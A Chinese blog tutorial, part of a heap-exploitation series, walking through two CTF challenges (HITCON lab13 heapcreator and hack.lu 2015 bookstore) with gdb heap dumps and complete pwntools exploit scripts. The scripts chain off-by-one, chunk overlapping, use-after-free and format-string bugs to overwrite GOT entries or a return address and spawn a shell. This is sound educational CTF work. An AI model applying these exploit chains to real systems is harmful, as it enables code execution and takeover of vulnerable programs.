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pwn堆入门系列教程3

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pwn堆入门系列教程3

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pwn堆入门系列教程1
pwn入门系列教程2

序言：这次终于过了off-by-one来到了Chunk Extend / Overlapping,这部分在上一节也进行了学习，所以难度相对来说不会是那么大，刚起初我以为，因为第一题很简单，但做到第二题，我发觉我连格式化字符串的漏洞都不会利用，真的是太菜了，后面看了看雪大佬的文章才会做

1.1. HITCON Trainging lab13

这道题还是相对简单的，对于前面几道来说，上一道已经用过这种方法了，而且比这复杂许多，所以差不多了，不过还有些小细节注意下就好

1.1.1. 功能分析

引用于ctf-wiki

  1. 创建堆，根据用户输入的长度，申请对应内存空间，并利用 read 读取指定长度内容。这里长度没有进行检测，当长度为负数时，会出现任意长度堆溢出的漏洞。当然，前提是可以进行 malloc。此外，这里读取之后并没有设置 NULL。
  2. 编辑堆，根据指定的索引以及之前存储的堆的大小读取指定内容，但是这里读入的长度会比之前大 1，所以会存在 off by one 的漏洞。
  3. 展示堆，输出指定索引堆的大小以及内容。
  4. 删除堆，删除指定堆，并且将对应指针设置为了 NULL。

1.1.2. 漏洞点分析

漏洞点存在off-by-one,通过off-by-one进行overlapping就成了

1.1.3. 漏洞利用过程

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gdb-peda$ x/50gx 0x1775030-0x30
0x1775000:	0x0000000000000000	0x0000000000000021 #结构体1
0x1775010:	0x0000000000000018	0x0000000001775030
0x1775020:	0x0000000000000000	0x0000000000000021 #数据块1 chunk
0x1775030:	0x0000000a31313131	0x0000000000000000
0x1775040:	0x0000000000000000	0x0000000000000021 #结构体1
0x1775050:	0x0000000000000010	0x0000000001775070
0x1775060:	0x0000000000000000	0x0000000000000021 #数据块2 chunk
0x1775070:	0x0000000a32323232	0x0000000000000000
0x1775080:	0x0000000000000000	0x0000000000020f81
0x1775090:	0x0000000000000000	0x0000000000000000
0x17750a0:	0x0000000000000000	0x0000000000000000
0x17750b0:	0x0000000000000000	0x0000000000000000
0x17750c0:	0x0000000000000000	0x0000000000000000
0x17750d0:	0x0000000000000000	0x0000000000000000
0x17750e0:	0x0000000000000000	0x0000000000000000
0x17750f0:	0x0000000000000000	0x0000000000000000
0x1775100:	0x0000000000000000	0x0000000000000000
0x1775110:	0x0000000000000000	0x0000000000000000
0x1775120:	0x0000000000000000	0x0000000000000000
0x1775130:	0x0000000000000000	0x0000000000000000
0x1775140:	0x0000000000000000	0x0000000000000000
0x1775150:	0x0000000000000000	0x0000000000000000
0x1775160:	0x0000000000000000	0x0000000000000000
0x1775170:	0x0000000000000000	0x0000000000000000
0x1775180:	0x0000000000000000	0x0000000000000000

攻击过程：

  1. 创建两个堆块初始化(实际创了4个堆块，两个结构体堆块，两个数据堆块)至于一个为什么要0x18，因为要利用他会使用下个chunk的pre_size作为数据部分，这样才能off-by-one溢出到size
  2. 编辑第0块堆块，利用off-by-one覆盖第二块堆块的size，修改size为0x41
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    gdb-peda$ x/50gx 0x8a5030-0x30
    0x8a5000:	0x0000000000000000	0x0000000000000021
    0x8a5010:	0x0000000000000018	0x00000000008a5030
    0x8a5020:	0x0000000000000000	0x0000000000000021
    0x8a5030:	0x0068732f6e69622f	0x6161616161616161 #/bin/sh为后面做准备
    0x8a5040:	0x6161616161616161	0x0000000000000041 # off-by-one
    0x8a5050:	0x0000000000000010	0x00000000008a5070
    0x8a5060:	0x0000000000000000	0x0000000000000021
    0x8a5070:	0x0000000a32323232	0x0000000000000000
    0x8a5080:	0x0000000000000000	0x0000000000020f81
    0x8a5090:	0x0000000000000000	0x0000000000000000
    0x8a50a0:	0x0000000000000000	0x0000000000000000
    0x8a50b0:	0x0000000000000000	0x0000000000000000
    0x8a50c0:	0x0000000000000000	0x0000000000000000
    0x8a50d0:	0x0000000000000000	0x0000000000000000
    0x8a50e0:	0x0000000000000000	0x0000000000000000
    0x8a50f0:	0x0000000000000000	0x0000000000000000
    0x8a5100:	0x0000000000000000	0x0000000000000000
    0x8a5110:	0x0000000000000000	0x0000000000000000
    0x8a5120:	0x0000000000000000	0x0000000000000000
    0x8a5130:	0x0000000000000000	0x0000000000000000
    0x8a5140:	0x0000000000000000	0x0000000000000000
    0x8a5150:	0x0000000000000000	0x0000000000000000
    0x8a5160:	0x0000000000000000	0x0000000000000000
    0x8a5170:	0x0000000000000000	0x0000000000000000
    0x8a5180:	0x0000000000000000	0x0000000000000000
  3. free掉第1块，这时候free了一个0x40大小的堆块和一个0x20大小的堆块
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    gdb-peda$ x/50gx 0xf89030-0x30
    0xf89000:	0x0000000000000000	0x0000000000000021
    0xf89010:	0x0000000000000018	0x0000000000f89030
    0xf89020:	0x0000000000000000	0x0000000000000021
    0xf89030:	0x0068732f6e69622f	0x6161616161616161
    0xf89040:	0x6161616161616161	0x0000000000000041 #free 0x40大小
    0xf89050:	0x0000000000000000	0x0000000000f89070
    0xf89060:	0x0000000000000000	0x0000000000000021 #free 0x21大小
    0xf89070:	0x0000000000000000	0x0000000000000000
    0xf89080:	0x0000000000000000	0x0000000000020f81
    0xf89090:	0x0000000000000000	0x0000000000000000
    0xf890a0:	0x0000000000000000	0x0000000000000000
    0xf890b0:	0x0000000000000000	0x0000000000000000
    0xf890c0:	0x0000000000000000	0x0000000000000000
    0xf890d0:	0x0000000000000000	0x0000000000000000
    0xf890e0:	0x0000000000000000	0x0000000000000000
    0xf890f0:	0x0000000000000000	0x0000000000000000
    0xf89100:	0x0000000000000000	0x0000000000000000
    0xf89110:	0x0000000000000000	0x0000000000000000
    0xf89120:	0x0000000000000000	0x0000000000000000
    0xf89130:	0x0000000000000000	0x0000000000000000
    0xf89140:	0x0000000000000000	0x0000000000000000
    0xf89150:	0x0000000000000000	0x0000000000000000
    0xf89160:	0x0000000000000000	0x0000000000000000
    0xf89170:	0x0000000000000000	0x0000000000000000
    0xf89180:	0x0000000000000000	0x0000000000000000
  4. 这时候create(0x30)的话，会先创建结构体的堆块，这时候fastbin链上有刚free掉的堆块，所以优先使用，创建了0x20大小堆块，然后在创建一个0x40的chunk，这时候可以覆盖掉他的结构体部分的内容指针，泄露地址，在写入就成了

1.1.4. exp

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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
    context.log_level = 'debug'
    try:
        r = ctx.start()
    except Exception as e:
        print(e.args)
        print("It can't work,may be it can't load the remote libc!")
        print("It will load the local process")
        io = process(exe)
else:
    io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')

def create(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def edit(idx, content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)


def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))



def exp():
    free_got = 0x602018
    create(0x18, "1111")  # 0
    create(0x10, "2222")  # 1
    # overwrite heap 1's struct's size to 0x41
    edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
    # trigger heap 1's struct to fastbin 0x40
    # heap 1's content to fastbin 0x20
    delete(1)
    # new heap 1's struct will point to old heap 1's content, size 0x20
    # new heap 1's content will point to old heap 1's struct, size 0x30
    # that is to say we can overwrite new heap 1's struct
    # here we overwrite its heap content pointer to free@got
    create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
    #create(0x30, p64(0x1234567890))  #1
    gdb.attach(r)
    # leak freeaddr
    show(1)
    r.recvuntil("Content : ")
    data = r.recvuntil("Done !")

    free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
    libc_base = free_addr - libc.symbols['free']
    log.success('libc base addr: ' + hex(libc_base))
    system_addr = libc_base + libc.symbols['system']
    #gdb.attach(r)
    # overwrite free@got with system addr
    edit(1, p64(system_addr))
    # trigger system("/bin/sh")
    delete(0)
if __name__ == '__main__':
    exp()
    r.interactive()

1.2. 2015 hacklu bookstore

1.2.1. 功能分析

先进行功能分析

  1. 有编辑功能，编辑已存在的1,2堆块，可溢出
  2. 删除功能，删除已存在的1,2堆块，uaf
  3. 合并功能，将1,2两个堆块合并,格式化字符串

1.2.2. 漏洞点分析

  1. 漏洞点1(任意写，\n才结束)
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unsigned __int64 __fastcall edit_order(char *a1)
{
  int idx; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int cnt; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  cnt = 0;
  while ( v3 != '\n' )//关键点
  {
    v3 = fgetc(stdin);
    idx = cnt++;
    a1[idx] = v3;
  }
  a1[cnt - 1] = 0;
  return __readfsqword(0x28u) ^ v5;
}
  1. 漏洞点2(uaf)

free后指针没置空

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unsigned __int64 __fastcall delete_order(void *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  free(a1); //重点
  return __readfsqword(0x28u) ^ v2;
}
  1. 格式化字符串
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signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-BCh]
  char *v5; // [rsp+8h] [rbp-B8h]
  char *first_order; // [rsp+18h] [rbp-A8h]
  char *second_order; // [rsp+20h] [rbp-A0h]
  char *dest; // [rsp+28h] [rbp-98h]
  char s; // [rsp+30h] [rbp-90h]
  unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  first_order = (char *)malloc(0x80uLL);
  second_order = (char *)malloc(0x80uLL);
  dest = (char *)malloc(0x80uLL);
  if ( !first_order || !second_order || !dest )
  {
    fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
    return 1LL;
  }
  v4 = 0;
  puts(
    " _____          _   _                 _          _                   _ \n"
    "/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n"
    "  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"
    " / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"
    " \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n"
    "Crappiest and most expensive books for your college education!\n"
    "\n"
    "We can order books for you in case they're not in stock.\n"
    "Max. two orders allowed!\n");
LABEL_14:
  while ( !v4 )
  {
    puts("1: Edit order 1");
    puts("2: Edit order 2");
    puts("3: Delete order 1");
    puts("4: Delete order 2");
    puts("5: Submit");
    fgets(&s, 0x80, stdin);
    switch ( s )
    {
      case '1':
        puts("Enter first order:");
        edit_order(first_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '2':
        puts("Enter second order:");
        edit_order(second_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '3':
        delete_order(first_order);
        goto LABEL_14;
      case '4':
        delete_order(second_order);
        goto LABEL_14;
      case '5':
        v5 = (char *)malloc(0x140uLL);
        if ( !v5 )
        {
          fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
          return 1LL;
        }
        submit(v5, first_order, second_order);
        v4 = 1;
        break;
      default:
        goto LABEL_14;
    }
  }
  printf("%s", v5);
  printf(dest);//格式化字符串
  return 0LL;
}

1.2.3. 漏洞利用过程

这题有三个明显的洞，比原来那些只有一个洞的看起来似乎简单些？实际相反，这道题利用起来难度比前面的还大，因为这个洞不好利用，我自己研究了好久也无果，然后找writeup
看了看雪大佬的文章才知道这题怎么利用的

开始我在想如何利用格式化字符串的洞，因为格式化字符串的洞在合并过后才会使用，而我没想到什么便捷方法能修改第三块堆块的内容，他只能被覆盖为默认的Your order is submitted!\n，后来才知道用overlaping后可以覆盖到第三块堆块的内容，不过还是得精心布置堆才可以利用到

  1. 开头程序malloc(0x80)申请了三个堆块，我们将第二块free掉
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gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000:	0x0000000000000000	0x0000000000000091 #堆块1
0x1b8d010:	0x0000000074736574	0x0000000000000000
0x1b8d020:	0x0000000000000000	0x0000000000000000
0x1b8d030:	0x0000000000000000	0x0000000000000000
0x1b8d040:	0x0000000000000000	0x0000000000000000
0x1b8d050:	0x0000000000000000	0x0000000000000000
0x1b8d060:	0x0000000000000000	0x0000000000000000
0x1b8d070:	0x0000000000000000	0x0000000000000000
0x1b8d080:	0x0000000000000000	0x0000000000000000
0x1b8d090:	0x0000000000000000	0x0000000000000091 #堆块2，溢出修改处
0x1b8d0a0:	0x0000000000000000	0x0000000000000000 #数据部分
0x1b8d0b0:	0x0000000000000000	0x0000000000000000
0x1b8d0c0:	0x0000000000000000	0x0000000000000000
0x1b8d0d0:	0x0000000000000000	0x0000000000000000
0x1b8d0e0:	0x0000000000000000	0x0000000000000000
0x1b8d0f0:	0x0000000000000000	0x0000000000000000
0x1b8d100:	0x0000000000000000	0x0000000000000000
0x1b8d110:	0x0000000000000000	0x0000000000000000
0x1b8d120:	0x0000000000000000	0x0000000000000091 #堆块3
0x1b8d130:	0x64726f2072756f59	0x7573207369207265
0x1b8d140:	0x2164657474696d62	0x000000000000000a
0x1b8d150:	0x0000000000000000	0x0000000000000000
0x1b8d160:	0x0000000000000000	0x0000000000000000
0x1b8d170:	0x0000000000000000	0x0000000000000000
0x1b8d180:	0x0000000000000000	0x0000000000000000
0x1b8d190:	0x0000000000000000	0x0000000000000000
0x1b8d1a0:	0x0000000000000000	0x0000000000000000
0x1b8d1b0:	0x0000000000000000	0x0000000000000411
0x1b8d1c0:	0x696d627553203a35	0x20726564726f0a74
0x1b8d1d0:	0x216465776f0a0a32	0x6163206e6920750a
0x1b8d1e0:	0x2779656874206573	0x6920746f6e206572
0x1b8d1f0:	0x2e6b636f7473206e	0x5f0a216e6f69740a
0x1b8d200:	0x0a2020202f5c5f5f	0x0000000000000000
0x1b8d210:	0x0000000000000000	0x0000000000000000
0x1b8d220:	0x0000000000000000	0x0000000000000000
0x1b8d230:	0x0000000000000000	0x0000000000000000
0x1b8d240:	0x0000000000000000	0x0000000000000000
0x1b8d250:	0x0000000000000000	0x0000000000000000
0x1b8d260:	0x0000000000000000	0x0000000000000000
0x1b8d270:	0x0000000000000000	0x0000000000000000
0x1b8d280:	0x0000000000000000	0x0000000000000000
0x1b8d290:	0x0000000000000000	0x0000000000000000
0x1b8d2a0:	0x0000000000000000	0x0000000000000000
0x1b8d2b0:	0x0000000000000000	0x0000000000000000
0x1b8d2c0:	0x0000000000000000	0x0000000000000000
0x1b8d2d0:	0x0000000000000000	0x0000000000000000
0x1b8d2e0:	0x0000000000000000	0x0000000000000000
0x1b8d2f0:	0x0000000000000000	0x0000000000000000
0x1b8d300:	0x0000000000000000	0x0000000000000000
0x1b8d310:	0x0000000000000000	0x0000000000000000

  1. 编辑第一块堆块内容，溢出到第二块的size，修改第二块的size为0x150，为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140)，这样合并的时候申请的堆块就会跑到这上面来，也就是说我们第二块堆块跟第三块堆块这时候会重合

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    gdb-peda$ x/50gx 0x1695028-0x28
    0x1695000:	0x0000000000000000	0x0000000000000091
    0x1695010:	0x3125633731363225	0x313325516e682433
    0x1695020:	0x7024383225507024	0x6161616161616161
    0x1695030:	0x6161616161616161	0x6161616161616161
    0x1695040:	0x6161616161616161	0x6161616161616161
    0x1695050:	0x6161616161616161	0x6161616161616161
    0x1695060:	0x6161616161616161	0x6161616161616161
    0x1695070:	0x6161616161616161	0x6161616161616161
    0x1695080:	0x0000000061616161	0x0000000000000000
    0x1695090:	0x0000000000000000	0x0000000000000151
    0x16950a0:	0x00007f0e99412b00	0x00007f0e99412b78
    0x16950b0:	0x0000000000000000	0x0000000000000000
    0x16950c0:	0x0000000000000000	0x0000000000000000
    0x16950d0:	0x0000000000000000	0x0000000000000000
    0x16950e0:	0x0000000000000000	0x0000000000000000
    0x16950f0:	0x0000000000000000	0x0000000000000000
    0x1695100:	0x0000000000000000	0x0000000000000000
    0x1695110:	0x0000000000000000	0x0000000000000000
    0x1695120:	0x0000000000000090	0x0000000000000090
    0x1695130:	0x64726f2072756f59	0x7573207369207265
    0x1695140:	0x2164657474696d62	0x000000000000000a
    0x1695150:	0x0000000000000000	0x0000000000000000
    0x1695160:	0x0000000000000000	0x0000000000000000
    0x1695170:	0x0000000000000000	0x0000000000000000
    0x1695180:	0x0000000000000000	0x0000000000000000

  2. 然后submit的时候具体会变成什么样呢?，会先复制Order 1: **，然后在复制chunk1里的内容，在复制chunk2里的内容，注意注意chunk2的内容现在是什么，是前面的Order 1: **在加上chunk1的内容，因为堆块2的指针还指向chunk2的数据部分，所以会复制两次

  3. 就是Order 1: **+chunk1+’\n’+Order 2: +Order 1: **+chun1+’\n’

  4. 如果我们要利用格式化字符串的洞的话，要精确复制到堆块3的size部分后就停止，到这部分大小是0x90

  5. 也就是说我们Order 1: **+chunk1+’\n’+Order 2: +Order 1: *这个的大小要为0x90，求出chunk大小，0x90-93-1=0x88-0x1c=0x74

  6. 所以我们可以在前面0x74里写格式化字符串的利用，后面就利用得上了

这是合并后的结果

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gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000:	0x0000000000000000	0x0000000000000091
0x6e6010:	0x3125633731363225	0x313325516e682433
0x6e6020:	0x7024383225507024	0x6161616161616161
0x6e6030:	0x6161616161616161	0x6161616161616161
0x6e6040:	0x6161616161616161	0x6161616161616161
0x6e6050:	0x6161616161616161	0x6161616161616161
0x6e6060:	0x6161616161616161	0x6161616161616161
0x6e6070:	0x6161616161616161	0x6161616161616161
0x6e6080:	0x0000000061616161	0x0000000000000000
0x6e6090:	0x0000000000000000	0x0000000000000151
0x6e60a0:	0x3a3120726564724f	0x2563373136322520
0x6e60b0:	0x3325516e68243331	0x2438322550702431
0x6e60c0:	0x6161616161616170	0x6161616161616161
0x6e60d0:	0x6161616161616161	0x6161616161616161
0x6e60e0:	0x6161616161616161	0x6161616161616161
0x6e60f0:	0x6161616161616161	0x6161616161616161
0x6e6100:	0x6161616161616161	0x6161616161616161
0x6e6110:	0x6161616161616161	0x724f0a6161616161
0x6e6120:	0x4f203a3220726564	0x203a312072656472
0x6e6130:	0x3125633731363225	0x313325516e682433
0x6e6140:	0x7024383225507024	0x6161616161616161
0x6e6150:	0x6161616161616161	0x6161616161616161
0x6e6160:	0x6161616161616161	0x6161616161616161
0x6e6170:	0x6161616161616161	0x6161616161616161
0x6e6180:	0x6161616161616161	0x6161616161616161
0x6e6190:	0x6161616161616161	0x6161616161616161
0x6e61a0:	0x64724f0a61616161	0x000a203a32207265
0x6e61b0:	0x0000000000000000	0x0000000000000411
  1. 既然是堆题我就不再讲格式化字符串利用了，后面先利用格式化字符串修改.fini的地址，这样能多返回一次到main函数，同时泄露libc函数地址，为什么修改.fini里的地址能多返回一次main函数呢，请看

linux_x86程序启动中文版
linux_x86程序启动英文版
这两篇文章一样的，不过一个中文版，一个英文版，建议英文好的同学读原版，因为.fini在exit前会进行调用，所以修改后能执行多一次main函数

  1. 这时候发觉泄露出libc后不知道修改哪个函数了，因为调用printf后再也没函数用了，这时候思路又断了
  2. 所以这时候想想别的办法，发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址，所以泄露出来后，在减掉那个固定偏移就可以修改main函数返回地址了

注意：这里格式化字符串内容存在堆里，指针存在栈上，所以我们fgets输入的才是对应上的偏移

1.2.4. exp

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#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
    context.log_level = 'debug'
    p = ctx.start()
    libc = ELF(libc)
else:
    p = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def edit(idx, content) :
    p.sendline(str(idx))
    p.recvregex(r'''Enter (.*?) order:\n''')
    p.sendline(content)


def delete(idx) :
    p.sendline(str(idx+2))

def submit(content) :
    p.sendline('5'+ '\x00'*7 + content)

def exp():
    fini_array = 0x6011B8
    main_addr = 0x400A39
    delete(2)

    #first step 
    #leak
    fmstr = "%{}c%{}$hnQ%{}$pP%{}$p".format(0xA39, 13, 31, 28)
    payload = fmstr.ljust(0x74, 'a')
    payload = payload.ljust(0x88, '\x00')
    payload += p64(0x151)
    edit(1, payload)
    #offset=13
    gdb.attach(p)
    submit(p64(fini_array))
    for _ in range(3):
        p.recvuntil('Q')
    __libc_start_main_addr = int(p.recv(14), 16)
    libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
    ret_addr = int(p.recv(15)[1:], 16)-0x1e8
    one_gadget_offset = 0x45216 
    #one_gadget_offset = 0x4526a 
    #one_gadget_offset = 0xf02a4
    #one_gadget_offset = 0xf1147
    one_gadget = libc_base + one_gadget_offset
    p.success("libc_base-> 0x%x" % libc_base)
    p.success("ret_addr-> 0x%x" % ret_addr)
    p.success("one_gadget-> 0x%x" % one_gadget)

    #second step
    delete(2)
    part1 = ((one_gadget>>16)& 0xffff)
    part2 = (one_gadget & 0xffff)

    part =[
        (part1, p64(ret_addr+2)),
        (part2, p64(ret_addr))
    ]
    part.sort(key=lambda tup: tup[0])
    size = [i[0] for i in part]
    addr =''.join(x[1] for x in part)
    print(size)
    print(addr)
    fmstr = "%{}c%{}$hn".format(size[0], 13)
    fmstr += "%{}c%{}$hn".format(size[1]-size[0], 14)
    payload = fmstr.ljust(0x74, 'a')
    payload = payload.ljust(0x88, '\x00')
    payload += p64(0x151)
    edit(1, payload)
    #offset=13
    submit(addr)
    #gdb.attach(p)
if __name__ == '__main__':
    exp()
    p.interactive()

1.3. 总结

  1. 这道题堆部分难点部分想到了就不难，没想到就难，就是要利用那个部分溢出到第三个堆块
  2. 其余部分就全是格式化字符串的利用了，没什么好讲的
  3. 这道题拿到shell也偏废时间，最主要直接看exp我看不懂，后面去看文章才看懂的

1.4. 参考链接

看雪大佬的文章

本文作者：NoOne
本文地址： https://noonegroup.xyz/posts/f4127a66/
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